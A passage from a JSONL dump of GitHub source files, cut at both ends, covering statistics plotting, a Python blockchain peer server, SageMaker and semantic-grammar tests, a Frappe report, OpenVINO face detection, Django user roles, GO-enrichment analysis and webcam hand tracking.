confint = mean + stats.t.ppf([citmp, 1-citmp], len(data())-1) * np.std(data())/np.sqrt(len(data()))\n # create plot with histogram shape, mean and median\n ax[2].plot(x, y, color=\"gray\", label=\"Data (Histogram)\")\n ax[2].plot([mean, mean], [0, max(y)], '--', color=\"deepskyblue\", label=\"Mean\")\n ax[2].plot([median, median], [0, max(y)], '-.', color=\"crimson\", label=\"Median\")\n # create array for C.I. polygon and add to plot\n p_arr = np.array([ [confint[0],0], [confint[1],0], [confint[1], int((max(y) - min(y))*0.75)], [confint[0], int((max(y) - min(y))*0.75)] ])\n p = Polygon(p_arr, facecolor=\"g\", alpha=0.3)\n ax[2].add_patch(p)\n # avoid changing axes if not necessary - help mean change visualization\n if mean < np.max(d):\n ax[2].set_xlim(-1, int(np.max(d)))\n else:\n ax[2].set_xlim(-1, int(mean + mean/2))\n ax[2].legend()\n ax[2].set_title(\"Log distribution histogram, mean and median\", fontsize=\"8\")\n ax[2].set_xlabel(\"Value\")\n ax[2].set_ylabel(\"Counts\")\n\n plt.subplots_adjust(hspace=0.4)\n\n return fig\n\napp = App(app_ui, server)","repo_name":"AnderMerketegi/Statistics-MachineLearning","sub_path":"Central Tendency Measures/my_app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5670,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"22204988675","text":"# coding: utf-8\nfrom socket_server.mySocket import MySocket\nfrom myPeer.myPeer import Peer\nfrom block.block import Block\nfrom client.client import ClientThread\nfrom socket import *\nimport threading\nimport json\nimport time\n\n\nclass ErrorLevels:\n OK = \"OK\"\n ERROR = \"ERROR\"\n\n\nclass Server(threading.Thread):\n def __init__(self, port, ip, blockchain):\n threading.Thread.__init__(self)\n self.client_pool = []\n self.running = True\n self.socket = MySocket()\n self.socket.bind((ip, int(port)))\n self.socket.settimeout(0.5)\n self.register_in_network = False\n self.Port = int(port)\n self.blockchain = blockchain\n self.peer = Peer()\n self.ip = ip\n\n def client_handling_stopped(self, client, error_level, error_msg):\n self.clean_up()\n\n def clean_up(self):\n self.client_pool = [client for client in self.client_pool if client.running]\n\n def log_connection_amount(self):\n print(f\"Il y a maintenant {len(self.client_pool)} client(s) connecté(s)\")\n\n def run(self):\n print('listening on port:', self.Port)\n self.socket.listen(10000)\n if not self.register_in_network:\n self.peer.add_peer(self.socket.getsockname())\n while self.running:\n try:\n idSocket, client = self.socket.accept()\n newthread = ClientThread(idSocket, client, self.client_handling_stopped, self.blockchain, self.peer,\n self.socket.getsockname())\n newthread.start()\n self.client_pool.append(newthread)\n self.log_connection_amount()\n except timeout:\n continue\n\n def auto_peer(self, addr, port):\n print('auto peer')\n s = socket(AF_INET, SOCK_STREAM)\n server_address = (addr, int(port))\n s.connect(server_address)\n msg = '{\"action\": \"register_node\", \"data\": [{\"IP\": \"' + self.ip + '\", \"port\": \"' + str(self.Port) + '\"}]}'\n s.send(msg.encode())\n r = self.recvall(s)\n data = json.loads(r.decode(\"utf-8\"))\n if data:\n chain_dump = data['chain']\n self.create_chain_from_dump(chain_dump)\n for peer in data['peers']:\n self.peer.add_peer(tuple(peer))\n self.register_in_network = True\n s.close()\n\n def recvall(self, sock,timeout=2):\n sock.setblocking(0)\n part = b''\n data = b''\n begin = time.time()\n while 1:\n # if you got some data, then break after wait sec\n if part and time.time() - begin > timeout:\n break\n # if you got no data at all, wait a little longer\n elif time.time() - begin > timeout * 2:\n break\n try:\n part = sock.recv(8192)\n if part:\n data += part\n begin = time.time()\n else:\n time.sleep(0.1)\n except:\n pass\n return data\n def close(self):\n self.running = False\n\n def create_chain_from_dump(self, chain_dump):\n for idx, block_data in enumerate(chain_dump):\n block = Block(index=int(block_data[\"index\"]),\n transactions=json.loads(block_data[\"transactions\"]),\n timestamp=block_data[\"timestamp\"],\n previous_hash=block_data[\"previous_hash\"],\n difficulty=int(block_data[\"difficulty\"]),\n nonce=int(block_data[\"nonce\"]),\n reward=float(block_data[\"reward\"]),\n gaslimit=int(block_data[\"gaslimit\"]),\n gasused=int(block_data[\"gasused\"]),\n size=int(block_data[\"size\"]),\n extra=block_data[\"extra\"],\n fees=float(block_data[\"fees\"]),\n )\n proof = block_data['hash']\n added = self.blockchain.add_block(block, proof)\n if not added:\n raise Exception(\"The chain dump is tampered!!\")\n return False\n return True\n","repo_name":"aleo74/python_blockchain","sub_path":"src/server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":4243,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"19795574428","text":"from __future__ import absolute_import\n\nimport os\n\nimport pytest\n\nimport sagemaker\nfrom sagemaker.rl import RLEstimator\nfrom test.integration import RESOURCE_PATH\nimport local_mode_utils\n\n\ndef test_vw_serving(local_instance_type, sagemaker_local_session, docker_image, tmpdir,\n training_data_bandits, pretrained_model_vw, role):\n \n environ_vars = {\"AWS_DEFAULT_REGION\": \"us-west-2\",\n \"EXPERIMENT_ID\": \"test-exp-1\",\n \"EXP_METADATA_DYNAMO_TABLE\": \"test\",\n \"MODEL_METADATA_DYNAMO_TABLE\": \"test\",\n \"AWS_REGION\": \"us-west-2\",\n \"FIREHOSE_STREAM\": \"none\",\n \"LOG_INFERENCE_DATA\": \"false\",\n \"MODEL_METADATA_POLLING\": \"false\"}\n \n model = sagemaker.model.Model(\n image_uri=docker_image,\n role=role,\n env=environ_vars,\n name=\"test_env\",\n model_data=pretrained_model_vw\n )\n model.deploy(initial_instance_count=1, instance_type=local_instance_type)\n\n predictor = sagemaker.predictor.Predictor(\n endpoint_name=model.endpoint_name,\n serializer=sagemaker.predictor.json_serializer,\n deserializer=sagemaker.predictor.json_deserializer,\n sagemaker_session=model.sagemaker_session)\n \n resp = predictor.predict({\"observation\": [1,3], \"request_type\": \"observation\"})\n print(resp)\n\n for key in [\"action\", \"action_prob\", \"event_id\", \"timestamp\", \"sample_prob\", \"model_id\"]:\n assert key in resp\n \n predictor.delete_endpoint()\n ","repo_name":"aws/sagemaker-rl-container","sub_path":"test/integration/local/test_vw_serving.py","file_name":"test_vw_serving.py","file_ext":"py","file_size_in_byte":1626,"program_lang":"python","lang":"en","doc_type":"code","stars":74,"dataset":"github-code","pt":"67"} +{"seq_id":"29585003670","text":"from __future__ import unicode_literals\nimport frappe\nfrom frappe import _\n\ndef execute(filters=None):\n\tcolumns, data = [], []\n\tbox_list = frappe.db.sql(\"\"\"select name, box_length, box_width, box_height, box_ply_count, box_rate from `tabCM Box`\"\"\",as_dict=1)\n\tcolumns = get_columns ()\n\tfor box in box_list:\n\t\tlt = list()\n\t\tlt.append (box.name)\n\t\tlt.append (box.box_length)\n\t\tlt.append (box.box_width)\n\t\tlt.append (box.box_height)\n\t\tlt.append (box.box_ply_count)\n\t\tdesc = frappe.db.get_value(\"CM Box Description\", filters={\"box\": box.name})\n\t\tif (desc is None):\n\t\t\tprint(\"No description present for box {0}\".format(box.name))\n\t\t\tcontinue\n\t\tbox_desc = frappe.get_doc(\"CM Box Description\", desc)\n\t\tlt.append(box_desc.sheet_length)\n\t\tlt.append(box_desc.sheet_width)\n\t\tlt.append(box.box_rate)\n\t\tlt.append(box_desc.item_profit)\n\t\tlt.append(next((paper_item.rm for paper_item in box_desc.item_papers if paper_item.rm_type == \"Top\"), None))\n\t\tlt.append(next((paper_item.rm for paper_item in box_desc.item_papers if paper_item.rm_type == \"Flute\"), None))\n\t\tlt.append(desc)\n\t\tdata.append (lt)\n\treturn columns, data\n\ndef get_columns():\n\tcolumns = [\n\t\t\t_(\"Box\") + \":Link/CM Box:150\", _(\"Length\") + \":Float:60\", _(\"Width\") + \":Float:60\", _(\"Height\") + \":Float:60\",\n\t\t\t_(\"Layers\") + \":Int:50\", _(\"Sheet Length\") + \":Float:60\", _(\"Deck\") + \":Float:60\",\n\t\t\t_(\"Rate\") + \":Currency:60\", _(\"Proft %\") + \":Float:60\", _(\"Top\") + \":Link/Item:150\", _(\"Board\") + \":Link/Item:150\", _(\"Description\") + \":Link/CM Box Description:150\"\n\t\t\t]\n\treturn columns\n","repo_name":"sathishpy/corrugation","sub_path":"corrugation/corrugation/report/cm_box_report/cm_box_report.py","file_name":"cm_box_report.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"74290178453","text":"import cv2\nimport os\nimport numpy as np\nfrom openvino.inference_engine import IENetwork, IECore\nclass face_detect:\n\n def __init__(self, model_name, device='CPU',threshold=0.5, extensions=None):\n self.model_weights = model_name + '.bin'\n self.model_structure = model_name + \".xml\"\n self.device = device\n self.threshold = threshold\n self.extension = extensions\n self.net = None\n self.img = None\n self.plugin = IECore()\n try:\n self.model=self.plugin.read_network(self.model_structure, self.model_weights)\n except Exception as e:\n raise ValueError(\"Could not Initialise the network. Have you enterred the correct model path?\")\n self.input_name=next(iter(self.model.inputs))\n self.input_shape=self.model.inputs[self.input_name].shape\n self.output_name=next(iter(self.model.outputs))\n self.output_shape=self.model.outputs[self.output_name].shape\n\n\n def load_model(self):\n self.plugin = IECore()\n self.net = self.plugin.load_network(network=self.model, device_name=self.device, num_requests=1)\n\n\n def predict(self, image):\n self.img = self.preprocess_input(image)\n input_dict = {self.input_name:self.img}\n results = self.net.infer(input_dict)\n self.faces_coordinates = self.preprocess_output(results, image)\n if len(self.faces_coordinates) == 0:\n print(\"No Face is detected, Next frame will be processed..\")\n return 0, 0\n\n self.first_face = self.faces_coordinates[0]\n crop_face = image[self.first_face[1]:self.first_face[3], self.first_face[0]:self.first_face[2]]\n\n return self.first_face, crop_face\n\n def check_model(self):\n raise NotImplementedError\n\n def preprocess_input(self, image):\n image = cv2.resize(image, (self.input_shape[3], self.input_shape[2]))\n image = image.transpose((2, 0, 1))\n image = image.reshape(1, *image.shape)\n return image\n\n def preprocess_output(self, outputs, image):\n coords = []\n outs = outputs[self.output_name][0][0]\n for obj in outs:\n conf = obj[2]\n if conf >= self.threshold:\n xmin = int(obj[3] * image.shape[1])\n ymin = int(obj[4] * image.shape[0])\n xmax = int(obj[5] * image.shape[1])\n ymax = int(obj[6] * image.shape[0])\n coords.append([xmin, ymin, xmax, ymax])\n return coords\n","repo_name":"bhatiaharshit07/Computer-Pointer-Controller","sub_path":"src/facedetect.py","file_name":"facedetect.py","file_ext":"py","file_size_in_byte":2498,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"35094333560","text":"# File: backend_compute_statistics.py\n# statistical computations of Evidente backend\n# go-enrichment analysis for single clades and complete tree\n# Written by Sophie Pesch 2021\n# Modified by Mathias Witte Paz 2021 for multiprocessing\n\n# from time import perf_counter\nfrom flask import jsonify\nimport wget\nimport os\nimport time\nimport json\nfrom goatools import obo_parser\nimport multiprocessing as mp\nfrom multiprocessing.pool import ThreadPool\n# from icecream import ic\nfrom server.backend_go_enrichment import GOEnrichment\nfrom server.backend_nwk_parser import Tree\nfrom server.backend_tree_enrichment import FindClades\nfrom server.serialize_sets import serialize_sets\n\n# class NoDaemonProcess(multiprocessing.Process):\n# @property\n# def daemon(self):\n# return False\n\n# @daemon.setter\n# def daemon(self, value):\n# pass\n\n\n# class NoDaemonContext(type(multiprocessing.get_context())):\n# Process = NoDaemonProcess\n\n# # We sub-class multiprocessing.pool.Pool instead of multiprocessing.Pool\n# # because the latter is only a wrapper function, not a proper class.\n# class NestablePool(multiprocessing.pool.Pool):\n# def __init__(self, *args, **kwargs):\n# kwargs['context'] = NoDaemonContext()\n# super(NestablePool, self).__init__(*args, **kwargs)\n\n\ndef go_enrichment(all_snps, positions, snps_to_gene,gene_to_go, sig_level):\n \"\"\"Enrichment analysis for given clade\n\n :param all_snps: all snp-positions in tree as :type list\n :param positions: snp-positions in clade as :type list\n :param snps_to_gene: snp-gene association as :type dict\n :param gene_to_go: gene-go association as :type dict\n :param sig_level: significance level as :type int\n :return: go enrichment result as :type JSON-obj\n \"\"\"\n #start_load_go = perf_counter()\n\n temp_go_hierarchy = load_go_basic()\n go_hierarchy = from_go_to_dict(temp_go_hierarchy)\n # print(load_go_basic())\n\n #end_load_go = perf_counter()\n #time_load_go = end_load_go - start_load_go\n #print(f\"Needed {time_load_go:0.4f} seconds for loading go hierarchy\")\n #start = perf_counter()\n go_en = GOEnrichment(all_snps,positions,snps_to_gene,gene_to_go,sig_level, go_hierarchy)\n result, num_assoc_go_terms,in_gene_clade, in_gene_tree = go_en.compute_enrichment()\n #end = perf_counter()\n #time_needed = end - start\n #print(f\"Needed {time_needed:0.4f} seconds for go enrichment over {num_assoc_go_terms} associated go-terms\")\n return_json = dict()\n return_json[\"go_result\"] = result\n return_json[\"in_gene_tree\"] = in_gene_tree\n return_json[\"in_gene_clade\"] = in_gene_clade\n return json.dumps(return_json,default=serialize_sets)\n\n\ndef tree_enrichment(nwk,support, num_to_lab, all_snps, node_to_snp, snps_to_gene, gene_to_go, sig_level):\n \"\"\" Computes go-enrichment for all clades owning supporting snps\n according to classico-classification in tree.\n\n Traverse tree to filter clades with supporting snps, calls go enrichment\n for each filtered clade and collects all significant results.\n\n :param nwk: phylogenetic tree as :type str (newick-format)\n :param support: nodes owning supportive snps as :type list of dicts\n :param num_to_lab: number-label association for nodes in tree as :type dict\n :param all_snps: snp-positons of all snps in tree as :type list\n :param node_to_snp: node-snp association as :type dict\n :param snps_to_gene: snp-gene association as :type dict\n :param gene_to_go: gene-go asscociation as :type dict\n :param sig_level: significance-level as :type int\n :return: return_json: clade-result association containing all clades\n with significant results in the enrichment analysis stored\n as tree-go-result in a :type json-object\n \"\"\"\n \n #Adapt go_class as a dictionary for multiprocessing\n temp_go_hierarchy = load_go_basic()\n go_hierarchy = from_go_to_dict(temp_go_hierarchy)\n \n #traverse tree and find all clades with supporting snps:\n #start_find_clades = perf_counter()\n tree = Tree()\n tree.parse_nwk_string(nwk)\n find_clades = FindClades(support, num_to_lab)\n tree.traverse_tree(find_clades)\n clades = find_clades.get_clades()\n leaves_tree = tree.get_leaves()\n all_results = dict()\n in_gene_tree = \"\"\n with ThreadPool(int(mp.cpu_count()/2)) as pool:\n #perform enrichment analysis for all clades found\n multiple_results = [pool.apply_async(helper_multiprocess_enrichment, (clade, node_to_snp, leaves_tree, all_snps, snps_to_gene, gene_to_go, sig_level, go_hierarchy)) for clade in clades.items()]\n all_res = [res.get() for res in multiple_results]\n # After computation, save in all_results\n for response in all_res:\n if response[1]:\n #store results, if existing\n all_results[response[0][0]] = {\"subtree\": response[0][1],\n \"result\":response[1],\n \"subtree_size\" : response[0][1].__len__(),\n \"num_snps\":response[2].__len__(),\n \"in_gene_clade\": response[3],\n \"num_go_terms\": response[4]}\n in_gene_tree = response[5]\n pool.join()\n #create json-object for response to client\n return_json = dict()\n return_json[\"tree_go_result\"] = all_results\n return_json[\"in_gene_tree\"] = in_gene_tree\n return json.dumps(return_json,default=serialize_sets)\n\n\ndef helper_multiprocess_enrichment(clade, node_to_snp, leaves_tree, all_snps, snps_to_gene, gene_to_go, sig_level, go_hierarchy):\n \"\"\"Computes the enrichment analysis given a specific clade\n\n Args:\n clade (set): [1] set with the node the substree starts on and [2] list of children ID \n node_to_snp (dict): node-snp association \n leaves_Tree (list): list of all IDs of the leaves of the tree \n all_snps (list): snp-positons of all snps in tree \n snps_to_gene (dict): snp-gene association\n gene_to_go (dict): gene-go asscociation\n sig_level (int): significance level for fishers test\n go_hierarchy (dict): modified parsed obo-file for multiprocessing \n\n Returns:\n set: clade-result association containing the GO term\n with significant results in the enrichment analysis stored\n \"\"\" \n\n snps = clade_snps(clade[1], node_to_snp, leaves_tree)\n #compute enrichment:\n go_en = GOEnrichment(all_snps, snps, snps_to_gene, gene_to_go, sig_level,go_hierarchy)\n result, num_assoc_go_terms,in_gene_clade, in_gene_tree = go_en.compute_enrichment()\n return (clade, result, snps, in_gene_clade, num_assoc_go_terms, in_gene_tree)\n\ndef clade_snps (clade_nodes, node_to_snp, leaves_tree):\n \"\"\"Gets snps of given clade\n\n :param clade_nodes: nodes in clade as :type list\n :param node_to_snp: node-snp association as :type dict\n leaves_tree (list): list of all IDs of the leaves of the tree\n :return: snps of clade as :type list\n \"\"\"\n snps = []\n for node in clade_nodes:\n if str(node) in node_to_snp and node in leaves_tree:\n snps.extend(node_to_snp[str(node)])\n return snps\n\n\ndef load_go_basic():\n \"\"\"Gets go-hierarchy-file from filesytem or downloads from website and uses.\n goatools for parsing.\n\n Download is executed only if last download has been more than a week ago\n or if hierarchy has never been downloaded before. Otherwise go-hierarchy is\n taken from file-system. Guarantees that go-hierarchy stays up-to-date.\n\n :return: go: parsed obo-file\n \"\"\"\n\n go_obo_url = 'http://purl.obolibrary.org/obo/go/go-basic.obo'\n data_folder = os.getcwd() + '/data'\n # Check if we have the ./data directory already\n if (not os.path.isdir(data_folder)):\n try:\n os.mkdir(data_folder)\n except OSError as e:\n if (e.errno != 17):\n raise e\n # Check if we have the .obo file already\n if (not os.path.isfile(data_folder + '/go-basic.obo')):\n go_obo = wget.download(go_obo_url, data_folder + '/go-basic.obo')\n else:\n time_since_last_modified = time.time() - os.path.getmtime(data_folder+'/go-basic.obo')\n if time_since_last_modified > 604800:\n os.remove(data_folder + '/go-basic.obo')\n go_obo = wget.download(go_obo_url, data_folder + '/go-basic.obo')\n else:\n go_obo = data_folder + '/go-basic.obo'\n # parse hierarchy\n go = obo_parser.GODag(go_obo)\n return go\n\ndef from_go_to_dict(go):\n \"\"\"\n Multiprocessing does not allow for classes to be given as arguments. \n Since we only need the relationship between ID->Name for the enrichment, \n this function translates the class to a common dictionary \n\n :param go: parsed obo file as :type go\n :return: dict: dictionary from Go-Term ID to Go-Term Name\n \"\"\"\n go_as_dict = {}\n for term in go.items():\n go_as_dict[term[0]] = term[1].name\n return go_as_dict","repo_name":"Integrative-Transcriptomics/Evidente2.0","sub_path":"server/backend_compute_statistics.py","file_name":"backend_compute_statistics.py","file_ext":"py","file_size_in_byte":9098,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"27973443571","text":"#统计每个样本含有的序列长度\nfile=open('train-ops.txt')\nops=[]\nimport pandas as pd\nfor line in file.readlines():\n# print(line)\n curLine=line.strip().split(\" \")\n# floatLine=list(map(float,curLine))\n ops.append(curLine[:])\nprint(len(ops))\nprint(ops[7940])\nprint(len(ops[7940]))\n\n#删除操作码数为0的样本\nblankline = []\ndef tong1(filename):\n with open(filename, 'r') as f:\n num = 0\n for line in f:\n num += 1\n if len(line) == 1:\n blankline.append(num)\n # print(num) \n print('%s' % num)\nfile1 = 'train-ops.txt'\nvalue = num = 0\ntong1(file1)\nprint(blankline)\nprint(len(blankline))\n#删除train-ops.txt文件的空行\nwith open(\"train-ops.txt\",\"r\",encoding=\"utf-8\") as f:\n lines = f.readlines()\n #print(lines)\nwith open(\"del-train-ops.txt\",\"w\",encoding=\"utf-8\") as f_w:\n for line in lines:\n if len(line) ==1 :\n continue\n f_w.writelines(line)","repo_name":"qq-shu/TextCNN","sub_path":"data pre-processing/Data sifting.py","file_name":"Data sifting.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17209634460","text":"from sys import stdin\n\n\ndef get_min_cost(files):\n n = len(files)\n\n d = [[2000000000] * (n + 1) for _ in range(n + 1)]\n p = [[0] * (n + 1) for _ in range(n + 1)]\n for i in range(1, n + 1):\n d[i - 1][i] = 0\n p[i - 1][i] = i\n\n s = [0] * (n + 1)\n for i in range(1, n + 1):\n s[i] = s[i - 1] + files[i - 1]\n\n for l in range(2, n + 1):\n for j in range(l, n + 1):\n i = j - l\n for k in range(max(p[i][j - 1], i + 1), min(p[i + 1][j] + 1, j)):\n cost = d[i][k] + d[k][j] + s[j] - s[i]\n if d[i][j] > cost:\n d[i][j] = cost\n p[i][j] = k\n\n return d[0][n]\n\n\ndef solve():\n t = int(stdin.readline())\n for _ in range(t):\n _ = int(stdin.readline())\n files = list(map(int, stdin.readline().split()))\n print(get_min_cost(files), flush=False)\n\n\nif __name__ == \"__main__\":\n solve()\n","repo_name":"yonsweng/ps","sub_path":"boj/boj_13974.py","file_name":"boj_13974.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"36184880937","text":"from django.contrib.auth.models import AbstractUser\nfrom django.contrib.auth.validators import UnicodeUsernameValidator\nfrom django.db import models\nfrom rest_framework.exceptions import ValidationError\n\nusername_validator = UnicodeUsernameValidator()\n\n\ndef validate_username(username):\n if username == 'me':\n raise ValidationError(\n \"Использовать имя 'me' в качестве username запрещено!\"\n )\n\n\nclass User(AbstractUser):\n USER = 'user'\n ADMIN = 'admin'\n MODERATOR = 'moderator'\n\n CHOISES = (\n (ADMIN, 'Администратор'),\n (USER, 'Аутентифицированный пользователь'),\n (MODERATOR, 'Модератор'),\n )\n\n username = models.CharField(\n 'username',\n max_length=150,\n unique=True,\n validators=[username_validator, validate_username],\n )\n\n email = models.EmailField(unique=True)\n\n bio = models.TextField(\n 'Биография',\n blank=True,\n )\n role = models.CharField('Роль', max_length=20,\n choices=CHOISES, default='user')\n\n class Meta:\n ordering = ('email',)\n\n @property\n def is_moderator(self):\n return self.role == User.MODERATOR\n\n @property\n def is_admin(self):\n return self.role == User.ADMIN or self.is_staff or self.is_superuser\n","repo_name":"Tolik-vihodnoi/api_yamdb","sub_path":"api_yamdb/users/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71030411095","text":"\n# BEFORE RUNNING: Set this to your installation id, as provided by the art technician.\nINSTALLATION_ID = None\n\n# The IP (and optionally port) of the public server running in the cloud\nCLOUD_HOST = \"sanjoseartcloud.org\"\n\n# The IP (and optionally port) of the on-site server\nART_SERVER_HOST = \"172.16.220.40\"\n\n# The timeout after which the weather client will fail if it hasn't had a response\nWEATHER_TIMEOUT = 80 # in seconds\n\n# The port on which the status listener will sit\n# Change this if you receive a error like 'Address already in use'\nSTATUS_WEB_PORT = 8090\n","repo_name":"ArtInfrastructure/artist-tools","sub_path":"scripts/art_settings.py","file_name":"art_settings.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"22085455763","text":"import cv2\nimport cvzone\nfrom cvzone.HandTrackingModule import HandDetector\n\n# Creates the window object\nwebcam = cv2.VideoCapture(0)\nwebcam.set(3, 1280)\nwebcam.set(4, 720)\n\n# Creates the HandDetector object\ndetector = HandDetector(detectionCon=0.8, maxHands=2)\n\n# playing the frame through a while loop\nwhile True:\n success, img = webcam.read()\n # To flip the image on the axis 1 (vertical) to avoid mirror effect\n img = cv2.flip(img, 1)\n hands, img = detector.findHands(img, flipType=False)\n\n # If there is a hand on the screen:\n if hands:\n landmark_list = hands[0][\"lmList\"]\n\n # Index Finger\n tip_index = landmark_list[8][0:2]\n cv2.circle(img, tip_index, radius=10, color=(200, 0, 0), thickness=cv2.FILLED)\n cvzone.putTextRect(img, \"Index\", tip_index, scale=2, thickness=1, offset=0,\n colorR=(200, 0, 0), colorT=(255, 255, 255))\n\n # Middle Finger\n tip_middle = landmark_list[12][0:2]\n cv2.circle(img, tip_middle, radius=10, color=(0, 0, 0), thickness=cv2.FILLED)\n cvzone.putTextRect(img, \"Middle\", tip_middle, scale=2, thickness=1, offset=0,\n colorR=(0, 0, 0), colorT=(255, 255, 255))\n\n # Ring Finger\n tip_ring_finger = landmark_list[16][0:2]\n cv2.circle(img, tip_ring_finger, radius=10, color=(0, 0, 200), thickness=cv2.FILLED)\n cvzone.putTextRect(img, \"Ring\", tip_ring_finger, scale=2, thickness=1, offset=0,\n colorR=(0, 0, 200), colorT=(255, 255, 255))\n\n # Little Finger\n tip_little_finger = landmark_list[20][0:2]\n cv2.circle(img, tip_little_finger, radius=10, color=(0, 200, 200), thickness=cv2.FILLED)\n cvzone.putTextRect(img, \"Little\", tip_little_finger, scale=2, thickness=1, offset=0,\n colorR=(0, 200, 200), colorT=(255, 255, 255))\n\n tip_thumb = landmark_list[4][0:2]\n cv2.circle(img, tip_thumb, radius=10, color=(255, 255, 255), thickness=cv2.FILLED)\n cvzone.putTextRect(img, \"Thumb\", tip_thumb, scale=2, thickness=1, offset=0,\n colorR=(255, 255, 255), colorT=(0, 0, 0))\n\n cv2.imshow(\"Webcam Image\", img)\n # setting the refreshment delay for the frame\n cv2.waitKey(1)\n","repo_name":"TonyAnciaux/cv-snake-game","sub_path":"hand_detection.py","file_name":"hand_detection.py","file_ext":"py","file_size_in_byte":2278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8053353283","text":"import inflection\n\nfrom collections import defaultdict\n\nfrom grammar import Grammar\nfrom verbnet import VerbNet, XTAGMapper\nfrom propbank import Propbank\nfrom derivation import DerivationTree\nfrom semantics import Semantics, VariableFactory, Constant, Relation, Token, AndVariable, Variable\nfrom tagtree import SemTree\nfrom semparser import SemanticParser\nfrom semgrammar import SemTreeGrammar\n\ng = Grammar.load()\nvnet = VerbNet.load()\nmapper = XTAGMapper.load()\npropbank = None #Propbank.load()\ns = SemTreeGrammar(g, vnet, mapper, propbank)\n\ndef test_alphanx0Vnx1():\n chase = s.get_semtree('alphanx0Vnx1', 'chase', lemma='chase')\n cat = s.get_semtree('alphaNXN', 'cat')\n dog = s.get_semtree('alphaNXN', 'dog')\n chase = chase.substitute(cat, 'NP_0')\n chase = chase.substitute(dog, 'NP_1')\n sem = SemanticParser.parse(\"motion(during(e1),x0), motion(during(e1),x1), Agent(e1,x0), ISA(x0,CAT), Theme(e1,x1), ISA(x1,DOG)\")\n assert chase.full_semantics().equiv(sem)\n\ndef test_betaAn():\n red = s.get_semtree('betaAn', 'red')\n cat = s.get_semtree('alphaNXN', 'cat')\n dog = s.get_semtree('alphaNXN', 'dog')\n chase = s.get_semtree('alphanx0Vnx1', 'chase', lemma='chase')\n chase = chase.substitute(cat, 'NP_0')\n chase = chase.substitute(dog, 'NP_1')\n chase = chase.adjoin(red, \"N\")\n sem = SemanticParser.parse(\"motion(during(e1),x0), motion(during(e1),x1), Agent(e1,x0), ISA(x0,CAT), ISA(x0,RED), Theme(e1,x1), ISA(x1,DOG)\")\n assert chase.full_semantics().equiv(sem)\n\ndef test_betaVvx():\n will = s.get_semtree('betaVvx', 'will')\n chase = s.get_semtree('alphanx0Vnx1', 'chase', lemma='chase')\n cat = s.get_semtree('alphaNXN', 'cat')\n dog = s.get_semtree('alphaNXN', 'dog')\n chase = chase.substitute(cat, 'NP_0')\n chase = chase.substitute(dog, 'NP_1')\n chase = chase.adjoin(will, \"VP\")\n sem = SemanticParser.parse(\"motion(during(e1),x0), motion(during(e1),x1), Agent(e1,x0), ISA(x0,CAT), Theme(e1,x1), ISA(x1,DOG)\")\n assert chase.full_semantics().equiv(sem)\n\ndef test_betanxPnx():\n behind = s.get_semtree('betanxPnx', 'behind')\n run = s.get_semtree('alphanx0V', 'run', lemma='run')\n dog = s.get_semtree('alphaNXN', 'dog')\n cat = s.get_semtree('alphaNXN', 'cat')\n run = run.substitute(dog, 'NP_0')\n run = run.adjoin(behind, 'NP_0')\n run = run.substitute(cat, 'NP')\n sem = SemanticParser.parse(\"motion(during(e1),x5), Theme(e1,x5), ISA(x5,DOG), behind(x5,x4), ISA(x4,CAT)\")\n assert run.full_semantics().equiv(sem)\n\ndef test_betavxPnx():\n behind = s.get_semtree('betavxPnx', 'behind')\n run = s.get_semtree('alphanx0V', 'run', lemma='run')\n dog = s.get_semtree('alphaNXN', 'dog')\n cat = s.get_semtree('alphaNXN', 'cat')\n run = run.substitute(dog, 'NP_0')\n run = run.adjoin(behind, 'VP')\n run = run.substitute(cat, 'NP')\n sem = SemanticParser.parse(\"motion(during(e1),x0), Theme(e1,x0), ISA(x0,DOG), behind(e1,x1), ISA(x1,CAT)\")\n assert run.full_semantics().equiv(sem)\n\ndef test_betasPUs():\n semi = s.get_semtree('betasPUs', ';')\n run = s.get_semtree('alphanx0V', 'run', lemma='run')\n dog = s.get_semtree('alphaNXN', 'dog')\n run2 = s.get_semtree('alphanx0V', 'run', lemma='run')\n cat = s.get_semtree('alphaNXN', 'cat')\n run = run.substitute(dog, \"NP_0\")\n run2 = run2.substitute(cat, \"NP_0\")\n run = run.adjoin(semi, 'S_r')\n run = run.substitute(run2, 'S_1')\n assert str(run.sem_var) == \"AND(e1,e2)\"\n sem = SemanticParser.parse(\"motion(during(e1),x), Theme(e1,x), ISA(x,DOG), motion(during(e2),x1), Theme(e2,x1), ISA(x1,CAT)\")\n assert run.full_semantics().equiv(sem)\n\ndef test_betaARBvx():\n run = s.get_semtree('alphanx0V', 'run', lemma='run')\n dog = s.get_semtree('alphaNXN', 'dog')\n obv = s.get_semtree('betaARBvx', 'obviously')\n run = run.substitute(dog, \"NP_0\")\n run = run.adjoin(obv, \"VP\")\n sem = SemanticParser.parse(\"motion(during(e1),x), Theme(e1,x), ISA(x,DOG), obviously(e1)\")\n assert run.full_semantics().equiv(sem)\n\ndef test_betanxPUnx():\n run = s.get_semtree('alphanx0V', 'run', lemma='run')\n dog = s.get_semtree('alphaNXN', 'dog')\n cat = s.get_semtree('alphaNXN', 'cat')\n comma = s.get_semtree('betanxPUnx', ',')\n run = run.substitute(dog, \"NP_0\")\n run = run.adjoin(comma, \"NP_0\")\n run = run.substitute(cat, \"NP\")\n sem = SemanticParser.parse(\"motion(during(e1),x), equal(x,x1), 